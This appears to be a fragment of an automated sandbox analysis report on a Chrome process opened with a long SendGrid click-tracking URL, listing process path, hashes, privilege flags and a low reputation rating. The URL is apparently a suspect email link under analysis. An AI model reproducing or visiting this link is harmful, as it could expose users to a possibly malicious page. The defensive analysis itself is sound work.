Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4440, Parent PID: 1012

General

Target ID:	3
Start time:	21:53:18
Start date:	23/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly